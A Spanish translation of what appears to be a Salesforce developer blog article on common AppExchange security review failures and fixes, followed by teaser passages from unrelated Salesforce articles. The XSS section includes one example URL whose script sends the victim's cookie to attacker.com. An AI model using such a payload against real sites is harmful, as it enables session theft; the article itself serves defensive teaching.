Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Un rectángulo amarillo y azul con texto negro Descripción generada automáticamente

¡Bienvenidos a la heladería Emma's Flavourland, un lugar de pura magia deliciosa del helado! Imagínese entrando en un país de las maravillas de sabores y diversión, donde cada primicia es pura delicia.

Nosotros aprenderemos:

Pero todo divertido, como aprender ABC. woo-hoo!

Para realizar un seguimiento de todos sus deliciosos helados, Emma utiliza Salesforce. Puedes pensar en él como un libro mágico que la ayuda a organizar sus sabores de la manera más sorprendente. Con Salesforce, anota los nombres y las descripciones de los tipos, e incluso agrega imágenes coloridas a un objeto de Salesforce. Piense en ello como una tabla llamada 'Producto'.

Una captura de pantalla de una computadora Descripción generada automáticamente

Libro de precios

Para administrar sus estrategias de precios, utilizó la función "Libros de precios" de Salesforce, que le permitió crear diferentes tipos de listas de precios.

En su “Libro de precios estándar”, Emma enumeró los precios regulares de sus sabores de helado. Estos fueron los precios que la mayoría de los clientes pagaron cuando visitaron su tienda.

En la tabla Libro de precios, encontrará el Nombre del libro de precios, como el Libro de precios estándar y el Libro de precios especial para niños y la Descripción del Libro de precios.

Emma también quería que su helado fuera más asequible y emocionante para los niños. Entonces, creó un libro de precios especiales llamado "Libro de precios especiales para niños". En este libro de precios, agregó precios con descuento exclusivamente para niños.

Un cuadro rectangular amarillo y azul con líneas blancas Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Tenga en cuenta que Pricebook en sí no tiene los precios indicados para el helado, para esto tenemos Price Book Entry.

Entrada de la lista de precios

Para conectar los sabores de helado, es decir, los productos con sus respectivos libros de precios, es decir, el libro de precios estándar y el libro de precios especial para niños, Emma crea entradas en el libro de precios. Puede pensar que PriceBook Entry es el amigo común que conecta Product y Pricebook entre sí.

Aquí el Producto es Súper Fresa y está conectado a PriceBook Estándar y Especial para Niños con la ayuda de PriceBook Entry.

Personajes de dibujos tomados de la mano Descripción generada automáticamente

Venta basada en productos

En la heladería Flavourland de Emma, ofrece sabores de helado individuales y paquetes de helados especiales para sus clientes. Esto se llama Venta basada en productos.

Un póster de heladería Descripción generada automáticamente

Venta basada en servicios

A medida que la marca de helados de Emma se expande, ella presenta el "Catering de helados" como un servicio exclusivo. La belleza de este servicio es que no tiene que preocuparse por la logística. El equipo de Emma se encarga de instalar, servir y limpiar después. Todo lo que necesitas hacer es sentarte y disfrutar de la celebración.

Caricatura de una persona sosteniendo un cono de helado Descripción generada automáticamente

Activo

Un producto, en este caso, se refiere a los deliciosos sabores de los helados y un Activo es la Heladería y el Carrito de Helados que ayuda a Emma a vender su Helado sin problemas.

Una tienda rosa con un letrero Descripción generada automáticamente

Yay… Aprendemos producto, libro de precios, entrada de libro de precios, venta basada en productos, venta basada en servicios y activos de la manera más dulce posible.

Un grupo de niños bailando Descripción generada automáticamente

Si te gusta el contenido, suscríbete a mi canal de Youtube sfdcamplified para obtener más temas como este.

Aprenda Salesforce como si tuviera 10 años: producto, libro de precios, entrada del libro de precios, activo

50% Me gusta VS
50% No me gusta

Seguir leyendo

Comenzando con Acciones Externas ☁️

Comenzando con Acciones Externas ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.

¿Qué son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.

Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.

¿Cuáles son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.

Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.

¿Qué constituye una acción externa?

Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.

¿Qué habilidades necesito para trabajar con Acciones Externas?

